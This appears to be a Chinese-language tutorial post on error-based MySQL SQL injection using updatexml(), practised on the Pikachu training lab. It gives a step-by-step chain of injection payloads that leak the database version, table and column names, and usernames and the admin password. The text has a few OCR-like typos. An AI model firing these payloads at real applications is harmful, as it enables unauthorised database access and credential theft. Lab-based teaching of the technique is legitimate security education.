Sql-Inject基于函数报错的信息获取

mac2026-08-14  7

Sql-Inject漏洞手动测试-基于函数报错的信息获取 Sq|-Inject漏洞手动测试基于函数报错的信息获取 ●常用的报错函数updatexml0、extractvalue0. floor0 该三个函数可通过对应的报错信息去获取需要的内容。 ●基于函数报错的信息获(select/insert/update/delete )

基于报错的信息获取 技巧思路: 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。 select/insert/update/delete都可以使用报错来获取信息。 背景条件: 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

基于报错的信息获取-三个常用的用来报错的函数 updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。 extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor(): MYSQL中用来取整的函数。

基于报错的信息获取三个常用的用来报错的函数-updatexml) Updatexml0函数作用:改变(查找并替换) XML文档中符合条件的节点的值。 语法: UPDATEXML (xml document(所要操作xml文档的名称), XPathstring(对xml文档哪个地方内容的更新,一个指定的位置写法,对xml文档定位), new. value()) 第一个参数: fiedname是String格式,为表中的字段名。 第二个参数: XPathstring (Xpath格式的字符串)在该位置传入一个表达式,将该表达式执行的结果作为报错内容报错出来。 第三个参数: new. value,String格式,替换查找到的符合条件的 Xpathstring定位必须是有效的,否则则会发生错误。

Select下报错的利用演示

获取内容 select id,enail from nember where username=‘kobe’ union select username, password from test. payload: kobe’ union select username. password trom users# 基于报错: uedatexml() kobe’ and updatexml(1,version(),0)# kobe’ and updatexml(1,concat(0x7e,version()),0)# kobe’ and updatexml(1,concat(0x7e,database()),0)#

#报错只能一次显示一行 kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema. tables where table_schema=‘pikachu’)),0)#

可以使用limit一次次进行获取表名: kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema. tables where table_schema=‘pikachu’ limit 0,1)),0)# )

获取到表名后,在获取列名,思路是一样的: kobe’ and updatexml(1, concat(0x7e, (select column_name from information_schema. columns where table_name=‘users’ limit 0,1)),0)#

获取到列名称后,再来获取数据: kobe’ and updatexml(1, concat(0x7e, (select username from users limit 0,1)),0)# kobe’ and updatexml(1, concat(0x7e, (select password from users where username= ‘admin’ limit 0,1)),0)#

pikachu中SQL-Inject栏目中字符型注入——构造一个报错型SQL注入——查看返回结果确认其是否可以进行报错符合SQL字符型注入的条件——用updatexml函数进行报错构造一个报错,通过报错信息获取相关数据——查询栏输入该函数kobe’ and updatexml(1,version(),0)#——得到报错返回(要将该函数(version())内容进行一个处理,否则其会把一部分内容给吞掉)——改造函数内容(将concat放在该version()函数前使其内容形成字符串打印出来,同时concat还可以执行表达式将前面字符串与后面表达式执行结果拼接起来组成一个完整的字符串,将所需要执行最终表达式放入concat里)——查询栏输入kobe’ and updatexml(1,concat(0x7e,version()),0)#(其中0x7e是波浪线十六进制的表达式(也可用其它符号的十六进制进行拼接,其目的是让所输入信息不被报错吞掉))——通过刚才payload获取该数据库版本信息 ——将version()替换成别的函数名即可获得不同的所需信息,如:将version()替换成database()——查询栏输入kobe’ and updatexml(1,concat(0x7e,database()),0)#——获得该数据库的名称——查询栏输入kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema. tables where table_schema=‘pikachu’)),0)#(通过information_schema获取相关的信息)——提示返回的数据多于一行(该函数在报错时多行不会显示出来)——让其结果只显示一行,查询栏输入kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema. tables where table_schema=‘pikachu’ limit 0,1)),0)#——得到数据库第一个表的名称,若要得到第二个表的名称将limit 0,1换成limit 1,1得到数据库第二个表的名称——获得第三个表的名称就将limit 1,1换成limit 2,1——依次类推获得所有表的名称——获取列名称以及获取数据信息。

最新回复(0)